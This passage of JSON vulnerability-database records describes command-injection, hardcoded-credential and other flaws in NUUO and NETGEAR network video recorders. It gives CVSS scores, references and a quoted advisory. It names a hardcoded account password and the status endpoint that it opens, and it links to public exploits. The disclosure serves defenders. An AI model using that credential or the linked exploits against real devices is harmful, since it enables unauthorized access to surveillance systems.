"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2016-5675",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "138199",
"trust": 0.1
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06345"
},
{
"db": "VULHUB",
"id": "VHN-94494"
},
{
"db": "VULMON",
"id": "CVE-2016-5675"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004489"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-269"
},
{
"db": "NVD",
"id": "CVE-2016-5675"
}
]
},
"id": "VAR-201608-0088",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06345"
},
{
"db": "VULHUB",
"id": "VHN-94494"
}
],
"trust": 1.27076023
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06345"
}
]
},
"last_update_date": "2024-11-23T21:42:53.186000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "ReadyNAS Surveillance",
"trust": 0.8,
"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"title": "NUUO Crystal",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?stid=0001\u0026node=14"
},
{
"title": "NUUO NVRmini 2",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?node=2"
},
{
"title": "NUUO NVRsolo",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?stid=0002\u0026node=13"
},
{
"title": "The Register",
"trust": 0.2,
"url": "https://www.theregister.co.uk/2016/08/07/nuuo_netgear_surveillance_recorders_riddled_with_0days/"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2016-5675"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004489"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-20",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94494"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004489"
},
{
"db": "NVD",
"id": "CVE-2016-5675"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.1,
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"trust": 2.4,
"url": "http://www.securityfocus.com/bid/92318"
},
{
"trust": 1.6,
"url": "https://raw.githubusercontent.com/pedrib/poc/master/advisories/nuuo-nvr-vulns.txt"
},
{
"trust": 1.3,
"url": "https://www.exploit-db.com/exploits/40200/"
},
{
"trust": 0.9,
"url": "https://cwe.mitre.org/data/definitions/20.html"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=2"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0002\u0026node=13"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=14"
},
{
"trust": 0.8,
"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/285.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/200.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/798.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/121.html"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-5675"
},
{
"trust": 0.8,
"url": "http://jvn.jp/vu/jvnvu97220922/index.html"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-5675"
},
{
"trust": 0.3,
"url": "http://www.netgear.com"
},
{
"trust": 0.3,
"url": "http://www.nuuo.com/"
},
{
"trust": 0.1,
"url": "http://tools.cisco.com/security/center/viewalert.x?alertid=48822"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://www.rapid7.com/db/modules/exploit/linux/http/nuuo_nvrmini_auth_rce"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5674"
},
{
"trust": 0.1,
"url": "https://www.cert.org/)"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5678"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5680"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5677"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5679"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/)"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5676"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5675"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06345"
},
{
"db": "VULHUB",
"id": "VHN-94494"
},
{
"db": "VULMON",
"id": "CVE-2016-5675"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004489"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-269"
},
{
"db": "NVD",
"id": "CVE-2016-5675"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06345"
},
{
"db": "VULHUB",
"id": "VHN-94494"
},
{
"db": "VULMON",
"id": "CVE-2016-5675"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004489"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-269"
},
{
"db": "NVD",
"id": "CVE-2016-5675"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-08-04T00:00:00",
"db": "CERT/CC",
"id": "VU#856152"
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06345"
},
{
"date": "2016-08-31T00:00:00",
"db": "VULHUB",
"id": "VHN-94494"
},
{
"date": "2016-08-31T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5675"
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318"
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004489"
},
{
"date": "2016-08-04T22:22:21",
"db": "PACKETSTORM",
"id": "138199"
},
{
"date": "2016-08-12T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-269"
},
{
"date": "2016-08-31T15:59:01.653000",
"db": "NVD",
"id": "CVE-2016-5675"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-08-05T00:00:00",
"db": "CERT/CC",
"id": "VU#856152"
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06345"
},
{
"date": "2017-09-03T00:00:00",
"db": "VULHUB",
"id": "VHN-94494"
},
{
"date": "2017-09-03T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5675"
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318"
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004489"
},
{
"date": "2016-09-01T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-269"
},
{
"date": "2024-11-21T02:54:48.187000",
"db": "NVD",
"id": "CVE-2016-5675"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-269"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities",
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "input validation",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201608-269"
}
],
"trust": 0.6
}
}
var-201811-0051
Vulnerability from variot
NUUO NVRMini2 version 3.9.1 is vulnerable to authenticated remote command injection. An attacker can send crafted requests to upgrade_handle.php to execute OS commands as root. NUUO NVRMini2 Is OS A command injection vulnerability exists.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NUUO NVRmini Products are prone to an remote command-injection vulnerability. An attacker may exploit this issue to inject and execute arbitrary commands within the context of the affected application; this may aid in further attacks. NOTE: This issue is the result of an incomplete fix for the issue described in BID 106058 (NUUO NVRmini Products CVE-2018-14933 Remote Command Injection Vulnerability). NUUO NVRMini2 is a small network DVR device from NUUO
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201811-0051",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "nvrmini2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "3.9.1"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "3.9.1"
},
{
"model": "nvrsolo plus",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.10"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.10"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.10"
}
],
"sources": [
{
"db": "BID",
"id": "106059"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012507"
},
{
"db": "CNNVD",
"id": "CNNVD-201812-004"
},
{
"db": "NVD",
"id": "CVE-2018-15716"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:nuuo:nvrmini_2",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-012507"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Tenable",
"sources": [
{
"db": "BID",
"id": "106059"
}
],
"trust": 0.3
},
"cve": "CVE-2018-15716",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "CVE-2018-15716",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "VHN-126003",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:S/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2018-15716",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-15716",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2018-15716",
"trust": 0.8,
"value": "High"
},
{
"author": "CNNVD",
"id": "CNNVD-201812-004",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-126003",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2018-15716",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-126003"
},
{
"db": "VULMON",
"id": "CVE-2018-15716"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012507"
},
{
"db": "CNNVD",
"id": "CNNVD-201812-004"
},
{
"db": "NVD",
"id": "CVE-2018-15716"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO NVRMini2 version 3.9.1 is vulnerable to authenticated remote command injection. An attacker can send crafted requests to upgrade_handle.php to execute OS commands as root. NUUO NVRMini2 Is OS A command injection vulnerability exists.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NUUO NVRmini Products are prone to an remote command-injection vulnerability. \nAn attacker may exploit this issue to inject and execute arbitrary commands within the context of the affected application; this may aid in further attacks. \nNOTE: This issue is the result of an incomplete fix for the issue described in BID 106058 (NUUO NVRmini Products CVE-2018-14933 Remote Command Injection Vulnerability). NUUO NVRMini2 is a small network DVR device from NUUO",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-15716"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012507"
},
{
"db": "BID",
"id": "106059"
},
{
"db": "VULHUB",
"id": "VHN-126003"
},
{
"db": "VULMON",
"id": "CVE-2018-15716"
}
],
"trust": 2.07
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-126003",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-126003"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "TENABLE",
"id": "TRA-2018-41",
"trust": 2.9
},
{
"db": "NVD",
"id": "CVE-2018-15716",
"trust": 2.9
},
{
"db": "BID",
"id": "106059",
"trust": 2.1
},
{
"db": "EXPLOIT-DB",
"id": "45948",
"trust": 1.8
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012507",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201812-004",
"trust": 0.7
},
{
"db": "PACKETSTORM",
"id": "150624",
"trust": 0.2
},
{
"db": "SEEBUG",
"id": "SSVID-97703",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-126003",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2018-15716",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-126003"
},
{
"db": "VULMON",
"id": "CVE-2018-15716"
},
{
"db": "BID",
"id": "106059"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012507"
},
{
"db": "CNNVD",
"id": "CNNVD-201812-004"
},
{
"db": "NVD",
"id": "CVE-2018-15716"
}
]
},
"id": "VAR-201811-0051",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-126003"
}
],
"trust": 0.698015885
},
"last_update_date": "2024-11-23T22:48:32.714000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.nuuo.com/"
},
{
"title": "NUUO NVRMini2 Fixes for command injection vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=87340"
},
{
"title": "Check Point Security Alerts: NUUO NVRMini Command Injection (CVE-2018-14933; CVE-2018-15716)",
"trust": 0.1,
"url": "https://vulmon.com/vendoradvisory?qidtp=check_point_security_alerts\u0026qid=2b0f048b5c4fc953f301d53a3560d6aa"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2018-15716"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012507"
},
{
"db": "CNNVD",
"id": "CNNVD-201812-004"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-78",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-126003"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012507"
},
{
"db": "NVD",
"id": "CVE-2018-15716"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.9,
"url": "https://www.tenable.com/security/research/tra-2018-41"
},
{
"trust": 1.9,
"url": "http://www.securityfocus.com/bid/106059"
},
{
"trust": 1.8,
"url": "https://www.exploit-db.com/exploits/45948/"
},
{
"trust": 1.8,
"url": "https://github.com/tenable/poc/tree/master/nuuo/nvrmini2/cve_2018_15716"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-15716"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-15716"
},
{
"trust": 0.3,
"url": "https://www.nuuo.com"
},
{
"trust": 0.3,
"url": "https://github.com/tenable/poc/tree/master/nuuo/nvrmini2/cve_2018_1149"
},
{
"trust": 0.3,
"url": "https://github.com/tenable/poc/blob/master/nuuo/nvrmini2/cve_2018_15716/poc_nuuo_upgrade_handle.py"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://packetstormsecurity.com/files/150624/nuuo-nvrmini2-3.9.1-command-injection.html"
},
{
"trust": 0.1,
"url": "https://advisories.checkpoint.com/defense/advisories/public/2023/cpai-2018-2636.html"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-126003"
},
{
"db": "VULMON",
"id": "CVE-2018-15716"
},
{
"db": "BID",
"id": "106059"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012507"
},
{
"db": "CNNVD",
"id": "CNNVD-201812-004"
},
{
"db": "NVD",
"id": "CVE-2018-15716"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-126003"
},
{
"db": "VULMON",
"id": "CVE-2018-15716"
},
{
"db": "BID",
"id": "106059"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-012507"
},
{
"db": "CNNVD",
"id": "CNNVD-201812-004"
},
{
"db": "NVD",
"id": "CVE-2018-15716"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-11-30T00:00:00",
"db": "VULHUB",
"id": "VHN-126003"
},
{
"date": "2018-11-30T00:00:00",
"db": "VULMON",
"id": "CVE-2018-15716"
},
{
"date": "2018-11-30T00:00:00",
"db": "BID",
"id": "106059"
},
{
"date": "2019-02-05T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-012507"
},
{
"date": "2018-12-03T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201812-004"
},
{
"date": "2018-11-30T20:29:00.270000",
"db": "NVD",
"id": "CVE-2018-15716"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-10-09T00:00:00",
"db": "VULHUB",
"id": "VHN-126003"
},
{
"date": "2019-10-09T00:00:00",
"db": "VULMON",
"id": "CVE-2018-15716"
},
{
"date": "2018-11-30T00:00:00",
"db": "BID",
"id": "106059"
},
{
"date": "2019-02-05T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-012507"
},
{
"date": "2019-10-17T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201812-004"
},
{
"date": "2024-11-21T03:51:19.900000",
"db": "NVD",
"id": "CVE-2018-15716"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201812-004"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO NVRMini2 In OS Command injection vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-012507"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "operating system commend injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201812-004"
}
],
"trust": 0.6
}
}
var-201608-0090
Vulnerability from variot
NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.0.0 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 have a hardcoded qwe23622260 password for the nuuoeng account, which allows remote attackers to obtain sensitive information via an __nvr_status___.php request. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRmini2 and NVRsolo are network video recorders. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management. NUUOCrystal is a Linux-based enterprise VMS (virtual memory system) solution. The vulnerability is caused by the program using hard-coded ('qwe23622260' as the password) for the nuuoeng account. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience."
Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc.
The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user.
Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code.
A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released.
Technical details:
1
